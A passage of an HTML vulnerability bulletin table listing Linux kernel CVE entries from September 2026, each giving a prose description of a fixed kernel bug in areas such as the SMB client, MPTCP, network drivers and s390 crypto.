&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: honor forceuid/forcegid when mapping SIDs to uid/gid When the administrator mounts with forceuid or forcegid (uid=/gid= mount options), they expect all files to appear owned by the specified user/group. However, several code paths unconditionally called sid_to_id() to overwrite cf_uid/cf_gid with server-provided values, ignoring the administrator&#039;s explicit override: - smb311_posix_info_to_fattr() (stat via POSIX extensions) - cifs_posix_to_fattr() (readdir via POSIX extensions) - parse_sec_desc() (CIFS ACL ownership mapping) This allowed an untrusted server to dictate local file ownership even when the mount was configured to force specific uid/gid values. Fix all three call sites to check CIFS_MOUNT_OVERR_UID and CIFS_MOUNT_OVERR_GID before calling sid_to_id(), following the same pattern already used by cifs_unix_basic_to_fattr() for unix extensions.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97561&quot; target=&quot;_blank&quot;&gt;CVE-2026-97561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: reject out-of-bounds DataOffset in CIFSSMBRead() The SMB1 synchronous read helper CIFSSMBRead() validates the server&#039;s DataLength against CIFSMaxBufSize and the caller&#039;s count, but never validates DataOffset. The copy source is formed as &amp;amp;pSMBr-&amp;gt;hdr.Protocol + le16_to_cpu(pSMBr-&amp;gt;DataOffset) and memcpy()&#039;d for DataLength bytes with no check that the [DataOffset, DataOffset + DataLength) range lies within the response actually received from the server. A malicious or compromised SMB1 server can return a response carrying an in-range DataLength and a large DataOffset, driving the source pointer past the end of the response buffer. The memcpy() then copies adjacent kernel heap into the caller&#039;s read buffer (information disclosure), or reads unmapped memory and oopses (denial of service). SMB1 is not negotiated by default; reaching this code requires an explicit vers=1.0 mount. Both DataOffset and the received response length recorded in rsp_iov.iov_len are relative to the start of the SMB header, so reject the response unless DataOffset + DataLength fits within that length, using overflow-safe arithmetic, before forming the source pointer. The response length has been validated by the previous patch, so the DataOffset and DataLength fields can be read safely here. While here, make data_length unsigned. It holds a length derived from unsigned on-the-wire fields and is only ever compared against unsigned quantities; print it with %u accordingly, and add __func__ to the cifs_dbg() calls in this function.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97563&quot; target=&quot;_blank&quot;&gt;CVE-2026-97563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: reject userspace cifs.idmap descriptions cifs.idmap key descriptions carry authority-bearing fields (owner and group SIDs and uid/gid values in &quot;os:&quot;/&quot;gs:&quot;/&quot;oi:&quot;/&quot;gi:&quot; form) that the cifs.idmap upcall helper treats as kernel-originating inputs. Unlike its sibling cifs.spnego, the cifs.idmap key type has no vet_description hook, so userspace can create keys of this type through request_key(2)/add_key(2) and supply those fields without CIFS origin. A request_key(2) call with a non-NULL callout then drives a root usermodehelper upcall (/sbin/request-key -&amp;gt; cifs.idmap) that consumes the unvetted description in root context. Only accept cifs.idmap descriptions while CIFS is using its private root_cred to request the key. id_to_sid()/sid_to_id() already run under override_creds(root_cred), so the kernel-originated path is unaffected. This mirrors commit 3da1fdf4efbc (&quot;smb: client: reject userspace cifs.spnego descriptions&quot;), which applied the same restriction to cifs.spnego.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97564&quot; target=&quot;_blank&quot;&gt;CVE-2026-97564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: reject short READ responses in CIFSSMBRead() CIFSSMBRead() reads DataLengthHigh, DataLength and DataOffset out of the READ_RSP returned by the server without first checking that a whole READ_RSP was actually received. The length of the response is recorded in rsp_iov.iov_len, but nothing constrains it to be at least read_rsp_size before those fields are dereferenced. A malicious or compromised SMB1 server can return a response shorter than the READ_RSP header, so that parsing the header itself reads past the end of the receive buffer. SMB1 is not negotiated by default; reaching this code requires an explicit vers=1.0 mount. Reject the response unless it is at least read_rsp_size bytes long.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97565&quot; target=&quot;_blank&quot;&gt;CVE-2026-97565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: kernel: drop pending ADD_ADDR when removing ID0 The in-kernel MPTCP path manager can leave a stale ADD_ADDR announcement entry alive when removing the id 0 endpoint. This happens because the id 0 removal path does not tear down pending announcements, unlike the non-zero id path. When the PM later reselects id 0 after adding another signal endpoint, it finds the stale anno_list entry and hits WARN_ON_ONCE(mptcp_pm_is_kernel()) in mptcp_pm_announced_alloc(). Root cause: asymmetry between removal paths. - Non-zero id path: mptcp_nl_remove_subflow_and_signal_addr() calls mptcp_pm_remove_announced() to clean up. - Id 0 path: mptcp_nl_remove_id_zero_address() skips cleanup entirely. Fix by making the id 0 path symmetric: call mptcp_pm_announced_remove() and decrement add_addr_signaled before queuing the RM_ADDR. Subtle detail: signal endpoints are stored in anno_list with port 0, but msk_local carries the connection&#039;s local port. In other words, entries linked to ID0 paths should have port == 0. A follow-up patch will ensure that. mptcp_pm_announced_remove() uses use_port=true for comparison. So clear the port before the lookup.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97566&quot; target=&quot;_blank&quot;&gt;CVE-2026-97566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mptcp: prevent race between disconnect() and rtx Sashiko noted that the two event can race, leading to inconsistent status. Prevent the race using the synchronous timer stop operation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97567&quot; target=&quot;_blank&quot;&gt;CVE-2026-97567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mptcp: syncookies: remember the request backup flag Instead of using an uninitialised bit when copying the info in subflow_ulp_clone(). To fix this, no need to extend the join_entry structure: backup is coming from struct mptcp_subflow_request_sock, only one bit. Do the same here by using one bit for both.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97568&quot; target=&quot;_blank&quot;&gt;CVE-2026-97568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bnxt_en: Prevent queue stop with deferred completions When the driver receives a burst of packets, it can mark a BD with the NO_CMPL bit to defer completions. The expectation is that the last packet in the ring will have this bit unset and the completion generated by that packet will cleanup that packet and the ones preceding it. This helps to reduce the number of completions fired. The suppressed completions are controlled by the driver and the number of packets with suppressed completions scales with the size of the ring. SW USO packets, on the other hand, have an upper bound on the maximum number of BDs which can be consumed which does not scale with the ring size. So, for small rings it is possible that: a burst of packets is handed to the driver, the driver defers completions for all of the packets because the number of free descriptors stays above the threshold in the driver. Then, a USO packet arrives, but the number of BDs available is not enough and the USO code exits early. In this case, you end up in a state where the ring is full of packets with their completions suppressed, which can cause the queue to stop and never be restarted. Assuming default CONFIG_MAX_SKB_FRAGS, this is only possible for small rings (&amp;lt;= 457 descriptors, below the driver default value) when a burst of packets fills the ring, followed by a large USO packet that can&#039;t fit. For larger rings, the delta between the completion suppression threshold and the BDs required for SW USO is large enough that completions will fire and this case is unreachable. This issue was pointed out by Sashiko and while it seems fairly unlikely given that the queue size must be small to trigger this, it is indeed possible. Fix this by tracking the last BD which deferred completions and centralizing the logic for deciding when to ring the doorbell. The NO_CMPL bit is now cleared in bnxt_txr_db_kick(), so every doorbell site is covered, including the SW USO early exit. This guarantees the ring always ends in a BD which generates a completion to clean it and wake the queue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97569&quot; target=&quot;_blank&quot;&gt;CVE-2026-97569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bnxt_en: Propagate TPA buffer allocation failures in bnxt_queue_mem_alloc() bnxt_alloc_one_tpa_info_data() returns -ENOMEM as soon as one allocation fails. This leaves the remaining rxr-&amp;gt;rx_tpa[] entries zeroed. bnxt_queue_mem_alloc() discards that return value, so the partially initialized ring is installed by bnxt_queue_start(). Since the agg_id is picked by the hardware and bnxt_alloc_agg_idx maps it to a SW index in rxr-&amp;gt;rx_tpa[], it is possible that an uninitialized slot can be chosen which would hand a zero DMA address to the device. Fix this by checking the return value of bnxt_alloc_one_tpa_info_data and unwinding, freeing the ring buffers.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97571&quot; target=&quot;_blank&quot;&gt;CVE-2026-97571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bnxt_en: Propagate RX ring init failures in bnxt_init_nic() bnxt_init_rx_rings() returns an error when bnxt_alloc_one_rx_ring() fails, but bnxt_init_nic() discards that return value and calls bnxt_init_chip(), which enables TPA. If an allocation fails, this could leave rxr-&amp;gt;rx_tpa[] partially zeroed and TPA would be enabled over an array with zeroed entries. This would lead to a zeroed DMA address being handed out if the agg_idx is translated to a SW index at a zeroed entry. Fix this by propagating the error out of bnxt_init_nic(). Both callers already check its return value and unwind with bnxt_free_skbs() and bnxt_free_mem(), which tolerate a partially initialized RX ring.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97572&quot; target=&quot;_blank&quot;&gt;CVE-2026-97572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bnxt_en: Don&#039;t free the live ring&#039;s TPA state on queue restart failure bnxt_queue_mem_alloc() shallow copies the live RX ring into the clone: memcpy(clone, rxr, sizeof(*rxr)); the code currently clears pointers that the clone owns (such as rx_agg_bmap), but rx_tpa and rx_tpa_idx_map are left pointing at memory of the live ring that was cloned. If an allocation failure happens later and the err_free_tpa_info label is taken, the live ring&#039;s memory can be freed while still in use. Fix this by initializing the clone&#039;s pointers to NULL to prevent live ring state from being freed inadvertently.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97574&quot; target=&quot;_blank&quot;&gt;CVE-2026-97574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: verisilicon: hantro: bound G2 HEVC tile loop to the buffer capacity prepare_tile_info_buffer() writes one entry per tile into the tile_sizes DMA buffer, sized for a grid equal to the PPS uAPI array capacity. Use the bounded v4l2_hevc_pps_num_tile_columns() / v4l2_hevc_pps_num_tile_rows() helpers so the loops stay inside the buffer.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97581&quot; target=&quot;_blank&quot;&gt;CVE-2026-97581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwmon: (gpio-fan) Fix use-after-free in alarm work fan_alarm_irq_handler() queues fan_data-&amp;gt;alarm_work, but nothing cancels it. fan_alarm_notify() dereferences fan_data and its hwmon device. On unbind, devres frees the interrupt, which only waits for the handler itself, and then releases the hwmon device and fan_data, so a pending fan_alarm_notify() can run after those frees. Replace INIT_WORK() with devm_work_autocancel(), registered before devm_request_irq(). The devres cleanup then frees the interrupt first, so no new work can be queued, and cancels the work while fan_data and the hwmon device are still alive. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97582&quot; target=&quot;_blank&quot;&gt;CVE-2026-97582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: afs: Fix double-unmap of directory block Fix afs_edit_dir_remove() to use a cleanup function to unmap the block pointed to by afs_dir_iter::block if it&#039;s left pointing to something rather than manually kunmapping the blocks. Manually kunmapping without clearing iter.blocks can result in a double-kunmap if afs_dir_find_block() is called twice in a row (which would be the case if the block being modified is not first in the hash chain).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97585&quot; target=&quot;_blank&quot;&gt;CVE-2026-97585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: afs: Fix missing kunmap in afs_dir_search_bucket() Fix afs_dir_search_bucket() to kunmap the block it&#039;s using in the &quot;bad:&quot; path.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97586&quot; target=&quot;_blank&quot;&gt;CVE-2026-97586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf: RISC-V: store available counter mask as bitmap The available-counter mask was a single unsigned long, but iteration uses RISCV_MAX_COUNTERS, which is 64. On RV32 that reads past the object. Filling with an unsigned-long bit at index 32 and above is also wrong. Use DECLARE_BITMAP and set_bit/bitmap helpers. Walk each bitmap word into CFG_MATCH when checking events, when allocating an index, and when stopping all counters. Set the counter base to i times BITS_PER_LONG. Share the CFG_MATCH ecall through a small helper so the 32-bit argument split is not duplicated. On qemu-system-riscv32 the probe bitmap has bits above XLEN set, so the first word alone is not enough. [pjw@kernel.org: updated to apply; fixed checkpatch.pl issues]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97587&quot; target=&quot;_blank&quot;&gt;CVE-2026-97587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/crypto: Map EBUSY to EIO when key conversion fails repeatedly When hardware persistently returns -EBUSY after exhausting retries, the error propagates to crypto_finalize_*_request(). The crypto API&#039;s completion wrapper treats -EBUSY as a queueing status and swallows it, preventing the completion callback from firing. This causes callers using crypto_wait_req() to block indefinitely. Translate persistent -EBUSY to -EIO after retry exhaustion to ensure proper error propagation and callback invocation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97588&quot; target=&quot;_blank&quot;&gt;CVE-2026-97588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/crypto: Fix missing scrub of temp buffers with PAES algorithm In function ctr_paes_do_crypt() there is a buffer used to process remaining bytes &amp;lt; AES_BLOCK_SIZE. This buffer was not scrubbed and thus could lead to expose of unwanted data. Rework the code to explicitly scrub the buffer at the end of the function to avoid exposure of maybe sensitive data. In function __xts_2keys_prep_param() change the existing scrub to clean the whole param block instead of just the key field.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97590&quot; target=&quot;_blank&quot;&gt;CVE-2026-97590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/crypto: Fix handling of EBUSY in PHMAC when req is pushed to crypto engine When a request is transferred to the engine via crypto_transfer_hash_request_to_engine() there are two return codes signaling a successful transfer: EINPROGRESS and EBUSY. However the correct handling of EBUSY was missing and has been added as a return code indicating a successful transfer to the crypto engine.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97591&quot; target=&quot;_blank&quot;&gt;CVE-2026-97591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/crypto: Fix missing scrub of temp buffers with AES ctr and gcm algorithm In function ctr_aes_crypt() there is a buffer used to process remaining bytes &amp;lt; AES_BLOCK_SIZE. This buffer was not scrubbed and thus could lead to expose of unwanted data. When the buffer is used explicitly scrub it at the end of the code block to avoid exposure of maybe sensitive data. In a similar way the function gcm_aes_crypt() hat an error path where the CPACF param block was not scrubbed. Instead of return early now these error paths go to end of function where explicit scrubbing is done. Similar with the buffers which are part of the gcm_sg_walk structs from the variables gw_in and gw_out.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97592&quot; target=&quot;_blank&quot;&gt;CVE-2026-97592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/s390: Fix NULL dereference in iova_to_phys() with ZPCI_TABLE_TYPE_RFX When using a 5-level translation table via ZPCI_TABLE_TYPE_RFX get_rso_from_iova() returns NULL when the region-first entry is invalid. Yet in get_rto_from_iova() the region-second origin rso is not checked to be non-NULL before accessing rso[rsx] leading to a NULL pointer dereference instead of a NULL return when iova_to_phys() is called on a unmapped IOVA. Fix this by adding the missing NULL check.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97593&quot; target=&quot;_blank&quot;&gt;CVE-2026-97593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipvs: reject invalid states in connection template sync records IPVS sync receivers validate protocol states before creating or updating a connection. For connection templates, however, they only log states outside the template state range and still store the value in the connection. A template can be returned by ordinary connection lookup. TCP and SCTP then use the invalid state as an index into their transition tables. Reject invalid template states in both sync protocol versions before looking up or modifying a connection. The version 1 path handles both IPv4 and IPv6 records.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97596&quot; target=&quot;_blank&quot;&gt;CVE-2026-97596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: flowlabel: cap duplicate leases per socket ipv6_flowlabel_get() allocates an ipv6_fl_socklist entry for every successful GET. The recheck path for a compatible existing flowlabel links another lease without applying any lease admission check. Repeated GET requests for one shareable label can therefore grow a socket&#039;s lease list without bound. Reject a new unprivileged lease once the socket already holds FL_MAX_PER_SOCK leases. Check this on the shared recheck path so reuse of a globally interned label, including the fl_intern() collision path, is covered as well. New-label admission remains under the existing mem_check() policy. Use capable(CAP_NET_ADMIN) rather than ns_capable(), matching mem_check(). An unprivileged user must not bypass the cap by creating a user namespace and a netns where they have CAP_NET_ADMIN, which would still consume host memory. Check the capability only when the socket reaches the limit, so successful unprivileged GET requests below the cap do not generate a capability audit. Do the admission check before updating linger and expires so a rejected GET does not refresh the shared label, matching the existing socket-list allocation failure path.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97597&quot; target=&quot;_blank&quot;&gt;CVE-2026-97597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv4: fib: bound automatic table ID allocation fib_empty_table() probes every table ID from 1 until it finds a free one. IPv4 tables are stored in a 256-bucket hash table, so a dense set of IDs makes each probe walk a growing hash chain while RTNL is held. Automatic table assignment (&quot;ip rule ... table 0&quot;) is an IPv4-only legacy path. Bound the automatically allocated ID to 4096 so the RTNL hold stays bounded, without changing lookups of explicitly specified table IDs. This changes user-visible behavior. A table-0 rule previously received the lowest free ID in 1..RT_TABLE_MAX (0xFFFFFFFF). After this patch the search stops at 4096 and the rule add fails with ENOBUFS if that range is fully occupied. Explicit table IDs above 4096 remain usable. The automatic path is unused in practice: it is IPv4-only, not documented by ip-rule, uncovered by kernel selftests, and both NetworkManager and systemd refuse table 0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97598&quot; target=&quot;_blank&quot;&gt;CVE-2026-97598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ieee802154: hwsim: serialize pib updates to fix double-free hwsim_update_pib() does an unserialized read-swap-free of phy-&amp;gt;pib: pib_old = rtnl_dereference(phy-&amp;gt;pib); ... rcu_assign_pointer(phy-&amp;gt;pib, pib); kfree_rcu(pib_old, rcu); It assumes the RTNL is held, but -&amp;gt;set_channel is not always called under it: the mac802154 scan worker changes channels via drv_set_channel() without the RTNL. Such an update can race an RTNL-held one on the same phy; both read the same pib_old and both kfree_rcu() it, double-freeing the object. With SLUB percpu sheaves batching kfree_rcu(), this surfaces as a KASAN invalid-free in rcu_free_sheaf(). struct hwsim_phy has no lock for pib. Add one and make the swap atomic with rcu_replace_pointer() under it, dropping the misleading rtnl_dereference().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97599&quot; target=&quot;_blank&quot;&gt;CVE-2026-97599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ieee802154: cc2520: fix FIFOP work use-after-free The FIFOP interrupt handler queues cc2520_fifop_irqwork. On removal, cc2520_remove() only flushes the work. The devm-managed FIFOP IRQ remains active until after -&amp;gt;remove() returns and can queue the work again after that flush, allowing it to run after the private data is released. Disable the work with disable_work_sync() instead of flushing it, so the handler can no longer queue it once removal begins. Destroy the buffer mutex last, since the worker and the stop callback invoked through ieee802154_unregister_hw() both take it. Found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97600&quot; target=&quot;_blank&quot;&gt;CVE-2026-97600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ieee802154: 6lowpan: fix NULL dereference in lowpan_newlink TUNSETLINK allows a TUN device to change its link-layer type to ARPHRD_IEEE802154 without initializing ieee802154_ptr. lowpan_newlink() checks only the device type before dereferencing the pointer, so an RTM_NEWLINK request can trigger a NULL pointer dereference. Reject devices without ieee802154_ptr along with devices of the wrong type.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97601&quot; target=&quot;_blank&quot;&gt;CVE-2026-97601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: idpf: disable DIM work before freeing q_vectors idpf never drains the Tx/Rx DIM works before freeing the memory they live in. tx_dim and rx_dim are embedded in struct idpf_q_vector, they are queued from the NAPI poll via net_dim(), and idpf_vport_intr_rel() ends with kfree(rsrc-&amp;gt;q_vectors). Nothing in the driver cancels them. idpf_tx_dim_work() and idpf_rx_dim_work() then run on freed memory: idpf_vport_intr_write_itr() writes the ITR register through q_vector-&amp;gt;intr_reg.tx_itr / rx_itr, void __iomem pointers loaded out of the freed q_vector. No configuration is needed to get there -- IDPF_ITR_IS_DYNAMIC() is defined as (itr_mode) and idpf_vport_alloc() initialises both modes to IDPF_ITR_DYNAMIC. Draining after idpf_vport_intr_napi_dis_all() is not enough on its own. idpf_net_dim() is called from inside the &quot;if (napi_complete_done(napi, work_done))&quot; branch of the poll, and napi_complete_done() has already cleared NAPIF_STATE_SCHED by then. napi_disable_locked() waits only while (val &amp;amp; (NAPIF_STATE_SCHED | NAPIF_STATE_NPSVC)), so napi_disable() can return while the poll tail is still queueing the work, and a plain cancel_work_sync() would be re-armed behind the drain. Use disable_work_sync(): schedule_work() on a work with a non-zero disable count is dropped by clear_pending_if_disabled() before __queue_work() is reached. Move idpf_init_dim() to idpf_vport_intr_alloc() so the works are initialised on every path that can reach the drain -- the three &quot;goto intr_deinit&quot; sites between idpf_vport_intr_init() and idpf_vport_intr_ena() get there without the enable side having run. Nothing re-enables them: rsrc-&amp;gt;q_vectors is freed on every exit from idpf_vport_open() and on every 